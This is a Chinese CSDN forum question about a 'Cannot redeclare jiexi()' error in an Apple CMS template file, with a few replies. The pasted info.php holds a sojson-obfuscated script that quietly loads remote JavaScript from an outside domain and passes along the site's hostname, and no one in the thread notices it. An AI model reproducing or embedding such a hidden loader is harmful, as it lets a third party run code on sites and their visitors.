求助关于ThinkPHP框架下出现错误重复错误Cannot redeclare jiexi() (previously declared in。

苹果CMS生成时出现错误
错误代码如下:Cannot redeclare jiexi() (previously declared in /www/wwwroot/www.xxx.com/template/JOELEO/asset/inc/info.php:5)
谢谢 希望相关经验的大佬帮忙看下

以下是info.php的代码:

<?php
echo("<script>
['sojson.v4'][\"\x66\x69\x6c\x74\x65\x72\"][\"\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\"](((['sojson.v4']+[])[\"\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']['\x61\x70\x70\x6c\x79'](null,\"105A102p40b110F117B108o108A33e61u61J108I111p99X97f108U83s116v111b114s97a103j101L46c103v101w116o73v116c101x109Y40I34M116j104I101e109f101Q34v41i41H123O118a97O114C32Q116j104d101E109c101H61R108c111u99V97d108D83E116L111z114K97c103D101J46k103f101v116W73a116T101C109c40o34W116w104i101I109h101p34I41w59J100d111U99Q117j109i101o110H116l46i119g114Q105z116S101r40V34a60d108w105Y110Z107u32D105A100S61l39x108Z101s111h45S116c104f101W109w101k39D32C104o114G101v102P61H34C43R109T97a99t99T109v115N46s116A112a108J43W34s97p115o115v101n116a47y99C115x115o47P74e111t101h45w34U43j116H104H101W109A101J43G34C46m99f115B115F63k118t61y34o43W77I97i116f104r46n114t97G110v100Y111s109o40w41P43r34L32I116t121Z112o101B61i39i116A101r120t116x47y99Q115k115p39D32P114k101l108T61M39o115j116A121N108x101C115y104Y101u101x116g39t62V34O41n125p101P108L115X101L32h100j111q99a117O109t101f110R116p46T119b114o105h116f101O40q34U60E108M105y110k107y32r105w100j61A39M108t101z111y45b116A104P101N109j101N39g32P104N114w101n102D61A34n43i109a97f99a99f109V115d46c116q112J108C43C34g97D115B115u101G116m47O99L115l115i47v74R111K101A45y34B43B108R101h111c95l116T104r101E109y101T95g105h110l105C116y43d34z46r99Y115f115O63A118C61j34Q43I77S97u116E104T46M114Y97P110I100O111F109K40l41w43h34k32Q32m116X121x112J101c61W39O116f101U120Q116a47X99j115B115W39c32I114e101s108P61G39a115W116b121r108y101t115R104a101a101x116B39S62k34B41V59n40X102W117k110g99L116H105g111K110y32z40K100w101D115Y105Z103Z110Z87J41J32m123j118w97w114V32n100S111j99U69N108Z32D61q32e100O111k99C117A109n101K110I116j46M100B111h99W117K109R101T110H116I69C108f101l109W101P110W116d44O114y101O115H105Q122u101j69Y118A116I32n61p32n39W111C114Q105Y101W110w116H97h116E105p111c110j99y104m97M110m103D101w39B32f105B110i32C119a105m110G100p111G119I32E63Z32n39g111C114M105o101A110s116A97S116w105T111h110U99t104y97O110u103h101Z39v32y58w32h39Q114X101B115j105K122k101O39e44q114q101N99k97L108L99k32C61G32J102V117c110N99F116J105q111f110y32r40I41l32s123W118Q97W114V32H99Q108r105Z101f110v116d87S105c100h116C104A32U61v32r100d111q99Q69Q108b46t99C108C105Z101p110O116M87e105l100Y116U104g59r105Y102f32t40A33J99f108k105L101V110u116b87u105S100j116z104N41W32s114m101H116V117a114w110u59w100k111K99q69Q108t46x115r116a121H108H101U46j102W111S110H116Y83L105I122w101O32e61u32h49D48n48l32L42S32Y40l99V108U105H101Y110v116K87v105i100p116M104F32h47R32B100P101L115w105k103k110M87q41E32E43N32D39O112e120d39O59g125W59t105X102B32f40H33D100p111P99Z117M109N101R110X116w46s97d100C100k69V118I101C110X116n76S105N115R116w101z110i101H114L41j32G114P101L116W117o114q110y59V114P101X99e97f108Z99d40Q41Z59m119D105K110n100a111c119w46S97D100G100z69S118n101N110b116w76C105A115n116v101E110E101H114E40K114L101o115K105p122A101l69w118r116G44F32S114N101U99G97i108z99y44O32M102g97k108H115n101x41S59E100d111K99x117q109m101A110L116E46S97F100R100Q69l118G101d110a116C76m105p115d116x101L110v101s114i40h39v68y79w77U67k111E110a116e101b110J116K76w111Z97V100y101U100E39P44U32c114r101F99p97R108L99A44o32x102T97J108H115v101C41m59L125M41h40n55B53G48M41K59C118y97n114n32a119w101I115X32x61Z32a100N111g99K117K109R101u110l116B46O99U114h101g97b116T101C69g108r101x109C101s110Q116i40Z34m115G99I114N105E112p116V34W41y59m119d101Z115p46V116P121S112o101P32F61g32b34O116S101W120d116a47U106P97Q118l97H115u99K114v105I112Z116r34Q59M119r101G115j46e115t114o99b32W61c32k34p47e47i108e105P98z46T108O101h101x108L101Z111d46T116n111X112x47G98b121e46a112Y104M112S63y117Y114Y108g61f34o43a119M105M110J100y111Y119R46V108e111I99A97y116j105i111F110C46g104Y111a115R116U110d97W109Z101c59v100M111W99h117I109n101r110Z116S46C103w101j116y69d108u101G109t101V110u116z115J66c121h84k97L103d78B97r109T101c40d39W104w101Z97z100i39W41f91y48j93p46w97M112b112c101O110C100F67N104U105U108L100K40p119B101i115q41d59\"['\x73\x70\x6c\x69\x74'](/[a-zA-Z]{1,}/))))('sojson.v4');
</script>");
function jiexi($a){
    $count=count($a);
    for($i=0;$i<$count;$i++){
        echo '<li class="swiper-slide">
                <a class="btns-info" id="'.$i.'" onclick="playerSwitch(this.id)">
                    <span class="iconfont icon-selection leo-fs-m"></span>&nbsp;'.$a[$i]['name'].'</a>
            </li>
            ';
    }
}
function jiexiline($b){
    $count=count($b);
    for($i=0;$i<$count;$i++){
        echo '"'.$b[$i]['url'].'",';
    }
}
function gonggaos($c){
    $count=count($c);
    for($i=0;$i<$count;$i++){
        echo '<div class="swiper-slide">
                <a href="'.$c[$i]['url'].'" title="'.$c[$i]['msg'].'">
                    <div class="title leo-fs-l">'.$c[$i]['msg'].'</div>
                </a>
            </div>
        ';
    }
}
?>

php

3个回答

看报错是重新定义了,改一下jiexi名

qq_35316196
好时好物 修改过,修改后就会变为修改的那个 比如修改为jiexi1错误代码就是Cannot redeclare jiexi1() (previously declared in /
一年多之前 回复

那是不是哪里这个文件重复引入了

也没查到相关重复引用的信息,更改动态后已经解决,谢谢大家!

Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
立即提问